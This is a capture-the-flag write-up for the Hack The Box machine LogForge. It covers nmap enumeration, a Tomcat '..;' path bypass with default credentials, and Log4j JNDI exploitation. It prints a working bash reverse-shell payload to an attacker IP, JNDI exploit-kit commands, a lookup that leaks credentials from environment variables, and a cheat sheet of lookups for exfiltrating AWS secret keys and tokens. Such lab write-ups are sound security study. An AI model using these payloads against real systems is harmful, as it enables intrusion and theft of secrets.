LogForge is Linux box which introduces Log4j Vulnerability.
Enumeration
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
luka@kali:~/htb/logforge/nmap$ nmap -sC -sV -oA nmap 10.10.11.138
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-24 20:55 CET
Nmap scan report for 10.10.11.138
Host is up (0.033s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Ultimate Hacking Championship
|_http-server-header: Apache/2.4.41 (Ubuntu)
8080/tcp filtered http-proxy
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
WebPage on Port 80
Going to page that doesn’t exist shows, that there is difference regarding which server is running on port 80 (Apache or Apache Tomcat), which makes us asume that we’re dealing with reverse proxy. 
Exploitation
So from very basic enumeration let’s start to exploitation. First on the menu is breaking the parser logic.
Breaking parser logic on Apache / Tomcat
https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
We’ll use a neat trick to trick Reverse Proxy to not block us after opening /manager/. 
We’ll be able to bypass that and still end on Tomcat because tomcat doesn’t treat that ::; as URL. http://10.10.11.138/idontexist/..;/manager/ will open the Login prompt (Login with tomcat/tomcat). We should be able to login to Tomcat manager. 
Log4J Exploit / CVE-2021/44882
There are a lot of good explanations on Log4J, so i’ll won’t be diving into that. I’ve done the PoC before which used simple JNDI payload, which loaded malicious class after LDAP Callback and gave reverse shell.
Exploiting Log4J on this box is a little more tricky. First of all, we need to get an execution, so let’s try injecting simple payload into Tomcat. ${jndi:ldap://10.10.14.18:1389/Ajej.class} 
I ran tcpdump but nc listening on port 1389 would also do the job. There’s callback so Application is vulnerable. 
Like suggested in the ippsec’s video https://www.youtube.com/watch?v=XG14EstTgQ4, approach mention in the post https://twitter.com/marcioalm/status/1470361495405875200 will be used. In addition to that post, we’ll not be using the regular Ysoserial, but Ysoserial-modified: https://github.com/pimps/ysoserial-modified JNDI-Exploit-kit: https://github.com/pimps/JNDI-Exploit-Kit.git
Creating payload
1
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.18/4444 0>&1' > /home/luka/htb/logforge/rev
Starting JNDI-Exploit-Kit
1
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.18:1389 -P /home/luka/htb/logforge/rev
Reverse Shell
Put ${jndi:ldap://10.10.14.18:1389/rev} again in the manager’s field which gives us RCE and start it. Reverse shell should pop: 
If the payload wouldn’t work, we could use also one of the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
----------------------------JNDI Links----------------------------
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://10.10.14.18:1099/s5ie1k
ldap://10.10.14.18:1389/s5ie1k
Target environment(Build in JDK 1.5 whose trustURLCodebase is true):
rmi://10.10.14.18:1099/kfaicp
ldap://10.10.14.18:1389/kfaicp
Target environment(Build in JDK - (BYPASS WITH GROOVY by @orangetw) whose trustURLCodebase is false and have Tomcat 8+ and Groovy in classpath):
rmi://10.10.14.18:1099/koifwi
Target environment(Build in JDK 1.6 whose trustURLCodebase is true):
rmi://10.10.14.18:1099/2blnim
ldap://10.10.14.18:1389/2blnim
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://10.10.14.18:1099/e6xn7g
ldap://10.10.14.18:1389/e6xn7g
Target environment(Build in JDK - (BYPASS WITH EL by @welk1n) whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://10.10.14.18:1099/urpkwl
Privilege Escalation
FTP Server (Java) running as root
1
2
3
4
5
root 769 1 0 Dec24 ? 00:00:00 /usr/sbin/cron -f
root 937 769 0 Dec24 ? 00:00:00 \_ /usr/sbin/CRON -f
root 943 937 0 Dec24 ? 00:00:00 \_ /bin/sh -c /root/run.sh
root 944 943 0 Dec24 ? 00:00:00 \_ /bin/bash /root/run.sh
root 945 944 0 Dec24 ? 00:00:59 \_ java -jar /root/ftpServer-1.0-SNAPSHOT-all.jar
Unintended way to solve the box is to log into FTP on localhost with any user, and simple use dir and cat to read the flag etc.
Intended way (according to IppSec’s video) is to exploit the vulnerable Log4J FTP Application. We can exploit Log4J simply by putting same string as we did above into the username, and we’d get a callback from an application. Because this app does not have any gadgets, we need to dig deeper into the application. So download the ftp server application to Kali and open it with jd-gui.
You should see Log4J decompiled classes right away. In Worker.class we can see user and the pass which will be passed from environment variable.
1
2
3
private String validUser = System.getenv("ftp_user");
private String validPassword = System.getenv("ftp_password");
Both can be read using JNDI, so let’s try that. ${jndi:ldap://10.10.14.18:1389/${env:ftp_user}/${env:ftp_password}}
Run tcpdump -i tun0 -A port 1389 Somewhere in the middle we should find, leaked username and password: 
FTP Login should work. We can either grab a flag only or download .ssh/id_rsa
Exflitration of other Data
Exfiltration of other data is also possible. This is short list from here: https://therceman.medium.com/log4j-vulnerability-cheatsheet-66b7aeabc607
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}
For example: ${jndi:ldap://10.10.14.18:1389/${hostName}/......./${sys:user.name} /......./${sys:user.dir}/......./${sys:os.version}} 